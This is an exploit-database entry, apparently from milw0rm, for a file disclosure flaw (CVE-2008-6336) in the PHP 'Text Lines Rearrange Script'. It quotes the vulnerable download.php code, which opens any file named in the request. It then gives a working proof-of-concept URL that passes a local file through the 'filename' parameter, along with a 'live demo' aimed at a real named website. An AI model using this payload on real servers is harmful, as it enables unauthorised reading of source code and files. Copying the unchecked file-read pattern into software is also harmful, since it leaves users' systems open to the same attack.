Text Lines Rearrange Script - 'Filename' File Disclosure

Author: SirGod
type: webapps
platform: php
port: 
date_added: 2008-12-21 
date_updated: 2017-01-05 
verified: 1 
codes: OSVDB-50901;CVE-2008-6336 
tags: 
aliases:  
screenshot_url:  
application_url: 

#############################################################################################
[+] Text Lines Rearrange Script (download.php filename) File
Disclosure Vulnerability
[+] Discovered By SirGod
[+] Visit : www.h4cky0u.org
[+] Greetz : All my friends
#############################################################################################

 [+] File Disclosure Vulnerability

  Vulnerable Code in download.php :

-----------------------------------------------------

if(file_exists($filename))
{
	$fp=fopen($filename,"r");
	$content=fread($fp,filesize($filename));
	fclose($fp);

------------------------------------------------------

 PoC :

  http://[target]/[path]/download.php?filename=[Local File]

 Example :

  http://[target]/[path]/download.php?filename=index.php

 Live Demo :

  http://www.rightscripts.com/listrearrange/download.php?filename=index.php

#############################################################################################

# milw0rm.com [2008-12-22]